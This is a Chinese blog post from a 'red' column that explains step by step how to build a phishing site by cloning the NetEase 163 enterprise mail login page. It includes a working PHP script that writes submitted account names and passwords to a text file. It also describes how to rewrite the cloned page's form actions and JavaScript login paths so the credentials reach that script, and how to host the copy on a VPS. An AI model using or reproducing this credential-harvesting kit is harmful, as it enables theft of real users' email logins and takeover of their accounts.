钓鱼网站制作-克隆163企业邮箱

番茄酱料

已于 2024-07-10 22:16:54 修改

阅读量483

点赞数 6

分类专栏： red 文章标签：安全 web安全网络安全

于 2024-07-10 22:15:12 首次发布

本文链接：https://blog.csdn.net/bring_coco/article/details/140335112

版权

red 专栏收录该内容

14 篇文章 0 订阅

订阅专栏

这里克隆163企业邮箱比较费劲，和之前的还不一样，这个克隆的目录比较多，发现好多工具都克隆不全，要不就是缺少图片要不就是缺少功能
首先效果
在这里插入图片描述

在这里插入图片描述

可以看到成功记录账户密码，接下来再来伪装到域名

这里克隆网站使用神器
在这里插入图片描述

会在My Web Sites目录下生成克隆的网站
整体克隆下的网站目录如下：

可以看到打开网页相同，然后看看功能是否正常使用
可以看到网页功能正常使用，当我们输入账户密码登录后会跳转到163邮箱

首先记录密码脚本如下：

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $account_name = $_POST['account_name'];
    $password = $_POST['password'];

    // 检查用户名和密码是否合法，这里应该有相应的验证逻辑

    // 打开文件以追加写入
    $handle = fopen('result.txt', 'ab+');
    if ($handle) {
        $data = "account_name: $account_name - Password: $password\n";
        fwrite($handle, $data);
        fclose($handle);
    } else {
        echo "无法打开文件 'result.txt' 进行写入。";
    }
} else {
    echo "非法访问。";
}
?>

参数是account_name和password，由网络请求包中获得
在这里插入图片描述
这里我们主要在意的点就是账户密码登录，既然登录功能可以正常使用，说明form表单是正常的，那么我们将form表单更改到我们的记录密码的login.php文件
那么需要改index.html中的form表单
整个克隆下来的文件中就两个index.html文件，一个在根目录下，一个在子目录mail.xxx.cn下
在这里插入图片描述

可以看到根目录下的没有form表单说明这里和我们捕获密码没关系，那么看代码，是主要跳到mail.xxx.cn/index.html，那么说明在mail.xxx.cn目录下
那么我们主要修改目录下的index.html
共三处form表单处在这里插入图片描述
可以看到action跳转到了https://mailh.qiye.163.com/login/domainEntLogin，那么我们将第一处的action改完login.php

修改第二处action如下

第三处action如下
可以看到不需要修改

这样就改完了，放到vps上访问发现输入账户密码后登录还是跳转到163主页，跳转的url仍然是/login/domainEntLogin路径，那么肯定有/login/domainEntLogin没改完的地方在这里插入图片描述
可以看到js中存在该路径

共两处涉及login/domainEntLogin

修改如下：在这里插入图片描述

可以看到修改完成

之后发现还需要去掉script部分

<script type="text/javascript">
    window.myDomain = "wanlitire.cn";
    window.isCommonPage = false;
    if(window.myDomain == "qiye.163.com"){
    window.isCommonPage = true;
    }
</script>